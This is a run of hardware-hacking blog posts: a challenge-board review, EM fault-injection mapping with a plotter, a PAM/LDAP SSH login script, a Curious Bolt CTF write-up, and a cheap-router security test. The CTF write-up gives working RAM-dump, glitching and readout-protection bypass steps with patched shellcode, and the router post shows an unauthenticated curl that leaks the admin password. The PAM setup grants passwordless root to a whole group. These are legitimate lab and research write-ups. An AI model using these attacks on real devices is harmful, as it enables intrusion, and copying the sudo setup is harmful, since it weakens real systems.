Along with a sick T-shirt. So thank you mystery poster, it’s much appreciated.

All of this is to say I was given it to try, play with give feedback, but no-one has asked me to write this, I’m simply doing it because someone might be interested on my thoughts? maybe? 

It took me far too long to get this put together and flashed due to other projects taking priority, but I got there eventually! 

About

This is a small device based off of the famous arduino chip (Atmega328P) to teach/learn hardware hacking skills. It starts with beginner challenges, basic skills all hardware pentesters should have and quickly ramps up to some more niche or obscure skills.

There are jumpers that when bridged correlate to a binary number to select the challenge that is loaded. Reading the description from the github will help direct you with what the goal(s) are for the selected challenge.

There were some issues, but these are things that will be easy to fix by updating documentation or code. There was an issue with the reset button and jumpers but I believe these have been fixed in V2.

Once I’d built it and flashed the firmware it was a lot of fun to complete. My solutions can be read HERE. Warning, spoilers are there!

Conclusion

I think this has two main use cases:

Self study – If you get one and build it there is very little hand holding, a basic “this is what you are trying to do” and you will have to go and learn what that is or how to do it, then put that theory into practice to get the flag.

Teaching aid – This is where I think it would be most beneficial. When a more experienced tester can walk through this with a junior and be able to answer questions along the way. Each challenge could be a separate lesson so each session a new skill is learnt.

The codebase and challenge selection system mean it’s super easy to add challenges and I expect more will be added in the future. The challenges that exist currently are good to learn the basics of hardware hacking, the 90% of of things you’d typically look to do. I haven’t seen V2 board, but I have heard it fixes some of the hardware problems V1 had (not that they were game breaking, just a little annoying)

I dont know when V2 will be released, but when it is I highly recommend getting one and having a play. I guess the github would be the best place to look for updates, HERE is a link.

Again I’d like to give a massive thanks to RoboGR00T for making this awesome thing and chatting all things nerdy with me
Thanks again to mystery poster, without you I never would have got to play with this

The code and supplementary resources for this blog can be found in my git here. in the “/plotter” folder.

To start this experiment you will need an X/Y gantry to move the glitching device. I found this cheap plotter on aliexpress:

A couple of weeks and what arrived was:

No instructions or anything, I asked the seller but they were silent!
I eventually found the following two sites:
generativehut & hannahilea
These has instructions which were similar but not quite perfect. Using both of those and the pdf in the zip file on one of those sites (which I have backed up in the git repo as “LY plotter.zip”) I managed to get the thing built and running:

I tested it with LaserGRBL on Windows to make it draw some pictures with a pen to confirm it was working as intended. It was! Later a “stepper motor driver” broke, turns out you can buy these super cheap from amazon. This machine’s brains are an arduino with a CNC shield attached. Most likely both clones, but I have no idea of what to look for to check that and dont really care, as long as it works!

I then recreated my origional EMP holder to fit both the plotter and the stand. This can be downloaded from thingiverse.

The backplate screws to the plotter. With some M5 nuts and bolts the holder slides over the backplate and is held in place with the bolts:

At this point I wanted to see if I could move the plotter from linux and python as being able to control this programmatically was paramount to this working. It turns out the way they had created this machine it used stepper motors to move X and Y but a servo to move Z which used the G-Code usually used to control the spindle speed to change the height. The simple program “plotter_gui.py” looked as follows:

It worked a treat! apart from “set home” which worked for the duration of the program, but I couldn’t get it to store the current location as 0,0 on the plotter, so every time I closed the program or restarted the plotter it got reset (this was never solved and didn’t cause much of an issue). The next program created was “plotterStepperMaker.py”:

With this program you move the plotter to one corner (think of it in 3d space) click “Set A” then move to the opposite corner and “Set B”. Then set the increment values you want to glitching to occur between and “Save Step Values”. It is now ready to save the json file which contains this configuration.

I also gave it some command line options to:

1. Return a count of the amount of steps for a given config file
2. Return the closest position for given co-ordinates
3. Return the co-ordinates for given step

This looked like:

$> python3 plotterStepperMaker.py -f plotter_test.json -count
18

$> python3 plotterStepperMaker.py -f plotter_test.json -xyz '{"x":0.0,"y":0.0,"z":0.0}'
1

$> python3 plotterStepperMaker.py -f plotter_test.json -n 1
{"x": 0.0, "y": 0.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 2
{"x": 1.0, "y": 0.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 3
{"x": 2.0, "y": 0.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 4
{"x": 0.0, "y": 1.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 5
{"x": 1.0, "y": 1.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 6
{"x": 2.0, "y": 1.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 7
{"x": 0.0, "y": 2.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 8
{"x": 1.0, "y": 2.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 9
{"x": 2.0, "y": 2.0, "z": 0.0}

$> python3 plotterStepperMaker.py -f plotter_test.json -n 10
{"x": 0.0, "y": 0.0, "z": 40.0}

It was finally time to do some glitching. As I’m sure everyone expected I decided to test this against the trusty ATTiny85. The setup looked like this:

1. Plotter
2. EMFI glitching tool
3. ATTiny85 chip being tested
4. ESP8266 to power the device being tested
5. Tigard to read/write UART to the device
6. Laptop doing all the computing

If you want to perform this cheaper I’d recommend getting a “PicoEMP“. The last time I saw these for sale they were around $60. Instead of the Tigard there are super cheap USB->UART interfaces for a couple of dollars on aliexpress or amazon.

I programmed the ESP8266 so it connects to my wifi and has 2 endpoints “/on” and “/off”. These turn the power on and off, this is so each time we glitch the device it is reset into a known state.

Since we know how the target reacts we can use this to determine each plot point. If it responds “incorrect password” we know nothing happened, if it responds with the startup message we know the glitch restarted the device. Anything else and we can conclude that it caused the device to glitch or do something weird (the goal).

I created a glitch-o-bolt config file / script “ConfigPlotterGen.py”.

Which works in the following way:

• Connect to the plotter and get the details from the json file and amount of loops we set to glitch
• Move the plotter to the next step
• Restart the device
• Send a password and at the same time attempt a glitch
• Record the result, if there are more steps then go back up to “move the device”
• Log all the results to a file
• Print the results to the screen
• Generate both an ASCII and PNG map
• Calculate the best place to glitch to add to the map

The first time I got it working it looks like:

[stats] loop 3/3, place 19/20
[moving to] - {'x': 63.0, 'y': -93.0, 'z': 40.0}
[turning off device]
[turning on device]
System ready
Generated password: jZ2Q8sYJ
[FaultyCat arming]
[FaultyCat sending pulse]
[sending password]
System ready
Generated password: jZ2Q8sYJ
[FaultyCat disarming]
[result] 1
[stats] loop 3/3, place 20/20
[moving to] - {'x': 65.0, 'y': -93.0, 'z': 40.0}
[turning off device]
[turning on device]
System ready
Generated password: jZ2Q8sYJ
[FaultyCat arming]
[sending password]
[FaultyCat sending pulse]
System ready
Generated password: jZ2Q8sYJ
[FaultyCat disarming]
[result] 1
[end time] 03/10/2025 10:51
[time elapsed] 00:06:23
[results saved] /tmp/glitching_results.csv
[step 1] nothing=3 crash=0 glitch=0 x=57.0 y=-99.0 z=40.0
[step 2] nothing=0 crash=0 glitch=3 x=59.0 y=-99.0 z=40.0
[step 3] nothing=0 crash=0 glitch=3 x=61.0 y=-99.0 z=40.0
[step 4] nothing=0 crash=3 glitch=0 x=63.0 y=-99.0 z=40.0
[step 5] nothing=0 crash=3 glitch=0 x=65.0 y=-99.0 z=40.0
[step 6] nothing=1 crash=0 glitch=2 x=57.0 y=-97.0 z=40.0
[step 7] nothing=0 crash=0 glitch=3 x=59.0 y=-97.0 z=40.0
[step 8] nothing=0 crash=3 glitch=0 x=61.0 y=-97.0 z=40.0
[step 9] nothing=0 crash=3 glitch=0 x=63.0 y=-97.0 z=40.0
[step 10] nothing=0 crash=3 glitch=0 x=65.0 y=-97.0 z=40.0
[step 11] nothing=0 crash=1 glitch=2 x=57.0 y=-95.0 z=40.0
[step 12] nothing=0 crash=2 glitch=1 x=59.0 y=-95.0 z=40.0
[step 13] nothing=0 crash=2 glitch=1 x=61.0 y=-95.0 z=40.0
[step 14] nothing=0 crash=3 glitch=0 x=63.0 y=-95.0 z=40.0
[step 15] nothing=0 crash=3 glitch=0 x=65.0 y=-95.0 z=40.0
[step 16] nothing=0 crash=0 glitch=3 x=57.0 y=-93.0 z=40.0
[step 17] nothing=0 crash=3 glitch=0 x=59.0 y=-93.0 z=40.0
[step 18] nothing=0 crash=3 glitch=0 x=61.0 y=-93.0 z=40.0
[step 19] nothing=0 crash=3 glitch=0 x=63.0 y=-93.0 z=40.0
[step 20] nothing=0 crash=3 glitch=0 x=65.0 y=-93.0 z=40.0
[ASCII map]
3----
211--
23---
.33--
[best glitch] position 7 glitches=3 x=59.0 y=-97.0 z=40.0 score=60
[results map saved] /tmp/glitching_results.png

Which generated:

YEY!!!

That working so well I increased the resolution (smaller steps). Heres a video of it in action:

Which produced the following:

[stats] loop 5/5, place 246/247
[moving to] - {'x': 65.5, 'y': -93.0, 'z': 40.0}
[turning off device]
[turning on device]
System ready
Generated password: eAgOI62U
[FaultyCat arming]
[sending password]
[FaultyCat sending pulse]
System ready
Generated password: eAgOI62U
[FaultyCat disarming]
[result] 1
[stats] loop 5/5, place 247/247
[moving to] - {'x': 66.0, 'y': -93.0, 'z': 40.0}
[turning off device]
[turning on device]
System ready
Generated password: eAgOI62U
[FaultyCat arming]
[sending password]
[FaultyCat sending pulse]
System ready
Generated password: eAgOI62U
[FaultyCat disarming]
[result] 1
[end time] 03/10/2025 22:17
[time elapsed] 02:11:56
[results saved] /tmp/glitching_results.csv
[step 1] nothing=5 crash=0 glitch=0 x=57.0 y=-99.0 z=40.0
[step 2] nothing=5 crash=0 glitch=0 x=57.5 y=-99.0 z=40.0
[step 3] nothing=5 crash=0 glitch=0 x=58.0 y=-99.0 z=40.0
[step 4] nothing=3 crash=0 glitch=2 x=58.5 y=-99.0 z=40.0
[step 5] nothing=1 crash=1 glitch=3 x=59.0 y=-99.0 z=40.0
[step 6] nothing=0 crash=2 glitch=3 x=59.5 y=-99.0 z=40.0
[step 7] nothing=0 crash=2 glitch=3 x=60.0 y=-99.0 z=40.0
-snip-
[step 245] nothing=0 crash=5 glitch=0 x=65.0 y=-93.0 z=40.0
[step 246] nothing=0 crash=5 glitch=0 x=65.5 y=-93.0 z=40.0
[step 247] nothing=0 crash=5 glitch=0 x=66.0 y=-93.0 z=40.0
[ASCII map]
2--1------
32-2-1----
221-------
434-2-----
1412-1----
.344-1----
.23421----
[best glitch] position 25 glitches=5 crashes=0 nothing=0 x=59.5 y=-98.5 z=40.0 score=42
[results map saved] /tmp/glitching_results.png

Once it finished running it looked like:

Producing the following map:

With this we now know the best place to glitch this chip. For a better visual representation I overlaid it on an ATTiny85:

Now that this is all created it’s a super simple 2 step process.

1. Create the configuration file
2. Start the glitching to create the map

$> python plotterStepperMaker.py -f plotter_test.json 

$> python3 /opt/glitch-o-bolt/glitch-o-bolt.py -c /tmp/ConfigPlotterGen.py 

The map generator I’ve created only does 2D, everything is there for it to easily do 3D, I’ll leave this as an exercise for the reader.

I hope this helps someone. If I’ve missed any information or you want me to go more in-depth with any part of this then leave a comment.

The stack so far:

• Keycloak – The single sign on solution
• 389ds – Open source LDAP server
• Pfsense – The router/switch/firewall
  • OpenVPN – Pfsense VPN plugin which allows auth via LDAP
  • HA Proxy – Pfsense reverse proxy for web applications
• JumpBox – A Debian server running SSH that we want people to be able to access via SSO

Users can login to services (websites, VPN, etc.) which in turn use keycloak using a variety of methods (typically oidc) and keycloak updates 389ds with the users and groups. OpenVPN only supports LDAP authentication and that is why the system has been set up this way. 389ds’s implementation isn’t posix (or seemingly a standard way of doing things) so any of the typical Linux LDAP authentication methods just dont work (sssd, nslcd or nss_ldap) or at least they didn’t for me. Thats when I discovered PAM!

PAM (Pluggable Authentication Modules) is a system in Linux that controls how users log in. You can configure PAM to choose which checks to run and in what order, making it easy to change how login works without changing the programs themselves.

Now thats sounds simple and exactly what I want. It kind of is, however took a few days to really understand and get working. The plan was: when someone tries to log in via SSH, instead of the SSH server dealing with the authentication, it would be sent to my script. This script would then confirm the details via LDAP and act accordingly.

I created the script, got everything set up. And it wouldn’t work. I tried all sorts, before eventually logging EVERYTHING! Instead of the password, my script was getting: “\x08\n\r\x7fINCORRECT”. It turns out PAM does have to do some basic preliminary checks, one of these being “does this user exist on the system” – If the user doesn’t exist then send “INCORRECT”. Apparently it’s possible to get sssd or others to check this via LDAP first, but I couldn’t get that working. In light of this, I made the script first check if the user exists, if not, we know it’s going to get “incorrect” – so create the user account on the local system and disconnect the authentication attempt.

This means the first time a user tries to connect to SSH, if they have an account on the LDAP server it just drops the connection, doesn’t ask for a password or anything. The next time they try to log in the script will get their password, we can check they belong to the correct group for access and everything will work as we want.
Side note: I created the group “JumpBox” and if users are a member of that group then they can access the server.

So I guess it’s time to show you how to create this, it’s super simple and only requires 3 files:

/etc/pam.d/sshd

This is the PAM config specifically for SSH which tells it the order and types of authentication to use.
This configuration allows the user to first try to login with their SSO account, but if that fails it then will try a local account.

auth    sufficient      /lib/x86_64-linux-gnu/security/pam_python.so /opt/PAM/pam_ldap_user.py
auth    required      pam_unix.so try_first_pass
account required      pam_unix.so
session required      pam_unix.so

/etc/ssh/sshd_config

The most important one here is “KbdInteractiveAuthentication yes” without this is wont work.

AuthenticationMethods keyboard-interactive:pam
UsePAM yes
UseDNS no
PasswordAuthentication no
KbdInteractiveAuthentication yes
ChallengeResponseAuthentication yes
UseLogin no

/opt/PAM/pam_ldap_user.py

Finally the main script that does all of the PAM LDAP SSO magic

#!/usr/bin/env python3
import ldap
import pwd
import grp
import subprocess
import logging
import os
import sys
import time
from functools import wraps

# === Debug Setup ===
sys.stderr = open('/var/log/pam_ldap_user.log', 'a')

# === Config ===
CONFIG = {
    "EMAIL_DOMAIN": "company.com",
    "LDAP_SERVER": "ldap://[LDAP server IP]",
    "BASE_DN": "dc=company,dc=com",
    "BIND_DN": "cn=[username]",
    "BIND_PASSWORD": "[password]",
    "GROUP_ATTRIBUTE": "memberOf",
    "JUMPALLOWED_GROUP": "JumpBox",
    "USER_FILTER_TEMPLATE": "(mail={email})",
    "LOG_FILE": "/var/log/pam_ldap_user.log",
    "ALLOWED_SHELL": "/bin/bash",
    "LDAP_TIMEOUT": 5
}

# === Logging Setup ===
log_format = '%(asctime)s %(levelname)s: %(message)s'
logging.basicConfig(
    filename=CONFIG["LOG_FILE"],
    level=logging.DEBUG,
    format=log_format
)

def log_entry_exit(func):
    @wraps(func)
    def wrapper(*args, **kwargs):
        log(f"Entering {func.__name__}")
        try:
            result = func(*args, **kwargs)
            log(f"Exiting {func.__name__}")
            return result
        except Exception as e:
            log(f"Error in {func.__name__}: {str(e)}", logging.ERROR)
            raise
    return wrapper

def log(msg, level=logging.INFO):
    logging.log(level, msg)
    print(msg, file=sys.stderr)

def handle_password(password_input):
    try:
        if isinstance(password_input, str):
            return password_input.strip()
        if isinstance(password_input, bytes):
            try:
                return password_input.decode('utf-8').strip('\x00')
            except UnicodeDecodeError:
                cleaned = password_input.split(b'\x00')[0]
                return cleaned.decode('latin1').strip()
        return str(password_input).strip()
    except Exception as e:
        log(f"Password handling error: {e}")
        return ""

# === LDAP Functions ===
@log_entry_exit
def initialize_ldap():
    conn = ldap.initialize(CONFIG["LDAP_SERVER"])
    conn.set_option(ldap.OPT_REFERRALS, 0)
    conn.set_option(ldap.OPT_NETWORK_TIMEOUT, CONFIG["LDAP_TIMEOUT"])
    conn.protocol_version = ldap.VERSION3
    return conn

@log_entry_exit
def ldap_authenticate_credentials(email, password):
    try:
        conn = initialize_ldap()
        log(f"Service bind with DN: {CONFIG['BIND_DN']}")
        conn.simple_bind_s(CONFIG["BIND_DN"], CONFIG["BIND_PASSWORD"])
        
        search_filter = CONFIG["USER_FILTER_TEMPLATE"].format(email=email)
        log(f"Searching with filter: {search_filter}")
        result = conn.search_s(
            CONFIG["BASE_DN"],
            ldap.SCOPE_SUBTREE,
            search_filter,
            []
        )

        if not result:
            log("User not found", logging.WARNING)
            return False

        user_dn = result[0][0]
        log(f"Found user DN: {user_dn}")

        user_conn = initialize_ldap()
        user_conn.simple_bind_s(user_dn, password)
        log("User bind successful")
        return True

    except ldap.INVALID_CREDENTIALS:
        log("Invalid credentials", logging.ERROR)
        return False
    except ldap.LDAPError as e:
        log(f"LDAP error: {e}", logging.ERROR)
        return False
    finally:
        try:
            conn.unbind()
        except:
            pass
        try:
            user_conn.unbind()
        except:
            pass


@log_entry_exit
def ldap_check_group(email):
    try:
        conn = initialize_ldap()
        log(f"Service bind with DN: {CONFIG['BIND_DN']}")
        conn.simple_bind_s(CONFIG["BIND_DN"], CONFIG["BIND_PASSWORD"])
        
        search_filter = CONFIG["USER_FILTER_TEMPLATE"].format(email=email)
        log(f"Searching with filter: {search_filter}")
        result = conn.search_s(
            CONFIG["BASE_DN"],
            ldap.SCOPE_SUBTREE,
            search_filter,
            [CONFIG["GROUP_ATTRIBUTE"]]
        )

        if not result:
            log("User not found", logging.WARNING)
            return False

        user_attrs = result[0][1]
        groups = user_attrs.get(CONFIG["GROUP_ATTRIBUTE"], [])
        required_group = f"cn={CONFIG['JUMPALLOWED_GROUP']},ou=Groups,{CONFIG['BASE_DN']}"

        if isinstance(groups, bytes):
            groups = [groups]

        groups = [g.decode() if isinstance(g, bytes) else g for g in groups]

        if required_group not in groups:
            log(f"User not in required group: {required_group}", logging.WARNING)
            username = email.split('@')[0]
            if local_user_exists(username):
                delete_local_user(username)
            return False

        log(f"User in group: {required_group}")
        return True

    except ldap.LDAPError as e:
        log(f"LDAP error: {e}", logging.ERROR)
        return False
    finally:
        try:
            conn.unbind()
        except:
            pass   

# === Local User Management ===
@log_entry_exit
def local_user_exists(username):
    try:
        pwd.getpwnam(username)
        return True
    except KeyError:
        return False

@log_entry_exit
def create_local_user(username):
    try:
        subprocess.run([
            '/usr/sbin/useradd',
            '-m',
            '-s', CONFIG["ALLOWED_SHELL"],
            '-G', CONFIG["JUMPALLOWED_GROUP"],
            username
        ], check=True, capture_output=True, text=True)
        log(f"Created user {username}")

    except subprocess.CalledProcessError as e:
        log(f"User creation failed: {e.stderr}", logging.ERROR)
        raise

@log_entry_exit
def delete_local_user(username):
    try:
        subprocess.run([
            '/usr/sbin/userdel',
            '-r',
            username
        ], check=True, capture_output=True, text=True)
        log(f"Deleted user {username}")
    except subprocess.CalledProcessError as e:
        log(f"User deletion failed: {e.stderr}", logging.ERROR)
        raise

# === PAM Integration ===
def pam_sm_authenticate(pamh, flags, args):
    try:
        user = pamh.get_user()
        if not user:
            log("No username provided", logging.ERROR)
            return pamh.PAM_USER_UNKNOWN

        log(f"Authentication attempt for: {user}")

        if not local_user_exists(user):
            email = f"{user}@{CONFIG['EMAIL_DOMAIN']}"
            try:
                # Confirm user is in the correct group before creating local user
                if not ldap_check_group(email):
                    log(f"User {user} not in required group, aborting local user creation.", logging.WARNING)
                    return pamh.PAM_AUTH_ERR
        
                create_local_user(user)
                os._exit(1)

            except Exception as e:
                log(f"Local user setup failed: {e}", logging.ERROR)
                return pamh.PAM_AUTH_ERR

        # Display startup message
        #pamh.conversation(pamh.Message(pamh.PAM_TEXT_INFO, "Python PAM starting..."))

        # Prompt for password
        msg = pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Enter password: ")
        resp = pamh.conversation(msg)
        password = handle_password(resp.resp)

        if not password:
            log("Empty password after prompt", logging.WARNING)
            return pamh.PAM_AUTH_ERR

        email = f"{user}@{CONFIG['EMAIL_DOMAIN']}"
        if not ldap_authenticate_credentials(email, password):
            return pamh.PAM_AUTH_ERR

        if not ldap_check_group(email):
            return pamh.PAM_AUTH_ERR


        return pamh.PAM_SUCCESS

    except Exception as e:
        log(f"Authentication error: {e}", logging.ERROR)
        return pamh.PAM_AUTH_ERR

def pam_sm_setcred(pamh, flags, args):
    return pamh.PAM_SUCCESS

def pam_sm_open_session(pamh, flags, args):
    return pamh.PAM_SUCCESS

def pam_sm_close_session(pamh, flags, args):
    return pamh.PAM_SUCCESS

def pam_sm_acct_mgmt(pamh, flags, args):
    return pamh.PAM_SUCCESS

I also wanted to give users sudo access, the user accounts are created with no passwords. but you can enable sudo for the group with no password in the following file:

/etc/sudoers.d/jumpbox

%JumpBox ALL=(ALL) NOPASSWD: ALL

I hope this has been helpful for someone.
It’s probably not best practice, and I’m sure theres a million different ways to do this, this is just how I solved the problem.

My setup for completing this (curious bolt on the left):

Challenge 1

In this challenge, the flag gets loaded into RAM in plaintext. There should be no way to extract it, as JTAG and SWD have been disabled.

Setup

Notes

STM32F1 series have a design vulnerability, where the debugging peripheral can only be disabled in software, and not through hardware fuse bits. This means that RAM is still accessible when an attacker can force booting from bootrom or SRAM.

Because RAM is not cleared upon reset, the flag is still there, and it can be obtained by dumping RAM.

Solution

First access screen:

screen /dev/ttyUSB0 115200

Press “challenge 1 button” to load values into memory.
Press and hold “boot” button, then press “reset” button.
Dump the memory with the following:

$> pyocd commander
0004169:WARNING:board:Generic 'cortex_m' target type is selected; 
is this intentional? You will be able to debug but not program flash. 
To set the target type use the '--target' argument or 'target_override' option. 
Use 'pyocd list --targets' to see available targets types.
Connected to CoreSightTarget [Halted]: 39002200172D343632525544
>>> savemem 0x20000000 20480 sram.dump
Saved 20480 bytes to sram.dump
>>> 
$> strings sram.dump | grep 'ctf'
ctf{1139BE4A97D2172E6E39B71EFAD4B30648}

Challenge 2

In this chall, the flag is protected by a check that is never false:

   volatile bool check = true;
  uint32_t cnt = 0;
  int i = 0;
  int j;

  while (true) {
    cnt = 0;
    for (i = 0; i < 1000; i++) {
      for (j = 0; j < 1000; j++) {
        cnt++;
        if (!check) {
          // Flag gets printed
        }
      }
    }
    uart_printf("%u %u %u\r\n", i, j, cnt);
  }

Setup

Notes

This seems to be the “hello world” of hardware glitching. Having done this a few times now I decided to write a small script to automate it. I called it “glitch-o-matic” (it can be found in the github repo) however when running it it couldn’t get a working glitch! Advice in the “curious supplies” discord was to bend the wires or try different wires, perhaps hold the button as that causes a little power draw. That was the solution for me. Wanting to understand what was going on out came the scope:

(Top) Not holding the button, (Bottom) Holding the button.

The difference is minimal, but when holding the button the power is off for slightly less time.
Now when holding the button and starting the glitch-o-matic:

   ___ _ _ _      _                          _   _    
  / __| (_) |_ __| |_ ___ ___ ___ _ __  __ _| |_(_)__ 
 | (_ | | |  _/ _| ' \___/ _ \___| '  \/ _` |  _| / _|
  \___|_|_|\__\__|_||_|  \___/   |_|_|_\__,_|\__|_\__|
╒══════════════╤═══════════╤═════════╤════════════════╕
│ Glitch Len   │ Repeats   │ Delay   │ Elapsed Time   │
╞══════════════╪═══════════╪═════════╪════════════════╡
│ 41 / 43      │ 9 / 30    │ 0 / 30  │ 0d 0h 2m 21s   │
╘══════════════╧═══════════╧═════════╧════════════════╛
[INFO] Received data: 1000 1000 1000000
[INFO] Received data: 1000 1000 1000000
[INFO] Received data: 1000 1000 1000000
[INFO] Received data: 1000 1000 1000000
[INFO] Received data: 1000 1000 1000000
[INFO] Received data: Unreachable point reached, proceeding to print flag:
[INFO] Incrementing trigger repeats: 9
[INFO] Received data: ctf{6F48C055674E751B4A444A3328C00C93DB}
[INFO] Flag: ctf{6F48C055674E751B4A444A3328C00C93DB}
[WARNING] Received 'ctf', exiting...

Interlude

The script worked so well it was at this point I decided I would write another script to make using the curious bolt and performing glitching attacks in the future easier, so I came up with a quick design doc:

I know, that looks crazy useful! so I made it! you can get it here: https://rossmarks.uk/git/0xRoM/glitch-o-bolt. the main idea being you create a config file to define how you want the program to run, the offests for values, the trigger settings, what words to watch for and actions to perform when those words are seen.

Once I had created this it was time for the next challenge, using the next couple of challenges to help refine the app.

Challenge 3

In this challenge, the flag gets printed only when certain bits in external EEPROM memory are cleared (equal to 0).

Simply changing the bits on the EEPROM chip does not work, as an integrity check ensures that data on the chip has not been modified.

Setup

A quick overview of this: The green wire is using the RX line (which is always high) to push the challenge button so even if the device is glitched to reset it auto starts the correct challenge.
The orange line Also goes from the RX to the bolt’s glitching pin, the purple wire also on that line goes to an input pin on the bolt to monitor it.
The SDA pins on the challenge board are also wired up to the input pins on the bolt for monitoring.

Notes

It is now possible to use pulseview to see the SDA data and the glitching line. (This will not work on a raspberry pi which at time of writing has an older version of pulseview that doesnt have the correct “SUMP compatible” driver). By setting the SDA line as a falling edge trigger, when the line drops at X time offset perform a glitch for Y duration. This can be monitored in pulseview. The following screenshot demonstrates that with pulsview on top and glitch-o-bolt underneath reading the UART output.

I Used the following to work out the timings and offsets:

Once the offset and duration have been identified rewire it to drop the SDA line instead of the power, which was only in use for something visual to use.

Then run the glitch as demonstrated below.
The top pulseview was from when the power was still wired to glitch, the glitch-o-bolt was run after re-wiring the glitch pin to SDA on the challenge device.

Challenge 4

In this challenge, the flag is printed by a function that never gets called. Readout protection (RDP) is active, meaning the flash content can’t be dumped, even from JTAG/SWD, the bootloader, or when booted from SRAM.

Setup

Part 1 – Pulling the firmware

To pull the firmware we have to use a recently published attack that uses a vulnerability to enable flash access from SRAM-booted code, and then jump into the flag printing function.

This sounds more complicated than it is!

Download the PoC from: https://github.com/JohannesObermaier/f103-analysis/tree/master/h3 This contains the precompiled exploit we want to put into SRAM (rootshell/shellcode.bin)

Use the trick from challenge 1 to upload the PoC shellcode into RAM using pyocd. (>>>load shellcode.bin 0x20000000) Then do a single power glitch to reset, whilst holding BOOT0 and BOOT1 to boot from SRAM.

Connect to the device’s UART port with BAUD 9600. Once connected push “d” to dump the flash contents. I used the logging feature of glitch-o-bolt to to write this to a file. (Chall-4_UART.log in the git repo)

Part 2 – Reversing the firmware

I wrote a small script to tidy this log file (tidy_log.py). Open the output of this in ghidra, find all of the strings to work out the function we want to call, take note of it’s memory address.

ARM CPUs can operate in two instruction sets:

• ARM mode: 32-bit instructions
• Thumb mode: 16-bit instructions (smaller, more efficient)

The Cortex-M3 in STM32F103 only supports Thumb mode, not full ARM mode.

Ghidra reverses in ARM mode, So the address needs to be converted into thumb mode which the device runs.

To get the actual thumb address, you simply clear bit 0.
If:
– ARM address = 0x08000BA8
Then:
– Thumb address = 0x08000BA9 (bit 0 cleared)

Now simply patch in some code to the previously used exploit to jump to this memory address. The device still runs on baud rate 115200 so I would recommend adding a delay to give yourself time to switch to the different speed.

The code I used to patch was:

void readCmd( uint8_t const * const cmd )
{
	void (*chall4)(void) = (void (*)(void))0x08000ba9;
	switch (cmd[0])
	{
		case 0:
			return;
			break;

		/* chall4 function */
		case 'p':
		case 'P':
			writeStr("time to change baudrate to 115200\r\n");
			for (volatile uint32_t i = 0; i < 5000000; i++);  // Crude delay
			chall4();
			break;

My firmware with patches is in the git in the “Chall-4-Firmware” folder. It also has the compiled version “Shellcode-0xRoM.bin” if you just want to use that.

Part 3 – Upload and run

With the new firmware compiled, follow the same steps as “Part 1” to get it running on the device and press the “p” key to pwn. Naturally I created a config for glitch-o-bolt to make this simpler, with steps to follow and guide the process. It ended up looking like:

Extras

Wanting people to use glitch-o-bolt I created some more configs to demonstrate it’s use. The first one I made was one to solve “Challenge 2” to bruteforce the offsets:

The next one was to brute force the baud rate for unknown UART terminals:

Conclusion

The curious bolt is an incredibly useful tool, and I’ve certainly got the glitching bug. It’s so much fun! and the challenge board to learn how to use it was a great tool to learn just that. I would 100% recommend this kit to anyone interested in hardware hacking that wants to take the next step into voltage glitching.

Massive thank you to Aleph, for motivating me and helping. Also thanks to Tom for creating this and being patient answering my dumb questions, if anyone else does this I recommend joining the “curious supplies” discord as theres lots of help and tips there.

A £6 router! how is that even possible! Anyway, lets get started:

Stage 1: Preparing for Testing

Before any testing began, the device was examined to confirm it was functioning properly. Network activity was monitored using packet sniffing tools to detect any automatic firmware downloads or suspicious traffic. No unauthorised downloads were detected, suggesting a reasonable initial defence against remote attacks.

Stage 2: Physical Examination

The device was opened to inspect its internal components. This revealed various chips and debug interfaces that were crucial for deeper analysis. However, the chips had no identifying markings, making it impossible to find datasheets at this stage. Additionally, there was no FCC ID, which further limited available information on the components.

Stage 3: Accessing the Debug Console

Attention was turned to the RS232 debug port (top right of previous image). By connecting to this port, access was gained to the device’s debug console. This provided valuable insights into its operations and capabilities, revealing potential areas for further testing.

Stage 4: Extracting and Modifying Firmware

Attempts to access the flash chip’s contents using an inline clip were unsuccessful. The chip was removed from the PCB, and a socket was installed to enable quick removal and replacement for debugging.

Stage 5: Iterative Testing Process

The testing process was not strictly linear, previous steps were revisited based on new findings. Each discovery influenced the next phase of testing, ensuring a thorough evaluation of the device’s security.

Stage 6: Modifying and Re-Flashing the Firmware

In one of the final steps, the extracted firmware and bootloader were modified before being re-flashed onto the chip. This confirmed that unauthorised firmware changes were possible, posing a serious security risk. This test was performed last due to the high chance of bricking the device, which could have prevented further testing.

Issues Identified

The most likely aspect to be looked at by an attacker is the web interface as this would typically be the place an attacker has easy access to. The first thing I did after logging in was set the password to a single letter, yup could still log in with that so there is clearly no password policy. I then set it to “test”:

Of course theres no brute-force protection. Even worse, I could just browse to /wizard.html and there was no session checking whatsoever! as long as you know the endpoint you can browse to it and change the routers settings unauthorized. The “logout” button simply redirects to “index.html” which contains the login form.

It is worth mentioning here that along with the terribly coded/modified files the developer intended you to use to configure the device, lots of old files (oldbakhome.htm, countDownPage_old.htm) and Realtek default debug files and scripts were left on the device and were accessible and usable. Some of these disclosed the development environment used and paths on the dev’s computers. The device logs all wireless access points in the vicinity and devices that have connected to it including the mac address and device name. It appears these logs have not been wiped before manufacture and include developer devices used when creating and testing this router:

{
	"idx":	"1",
	"ip":	"192.168.0.19",
	"mac":	"D6:6D:0F:7D:1C:FA",
	"type":	"2",
	"linkType":	"white",
	"osType":	"2",
	"name":	"dongcaikiiPhone"
}, {
	"idx":	"2",
	"ip":	"192.168.0.7",
	"mac":	"34:12:F9:72:6A:EA",
	"type":	"2",
	"linkType":	"white",
	"osType":	"1",
	"name":	"Honor_10_Lite-648f73255de"
}, {
	"idx":	"3",
	"ip":	"192.168.0.10",
	"mac":	"A8:9C:ED:9A:1F:10",
	"type":	"2",
	"linkType":	"white",
	"osType":	"1",
	"name":	"MI9-winnie"
}

If you did want to know the password (perhaps the admin is using it elsewhere on the network) then use the “backup settings” feature to read it in plaintext. As demonstrated below you can clearly see the admin username of “admin” and the password of “SuperSecretPassword”:

$> curl http://192.168.168.1/config.dat | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
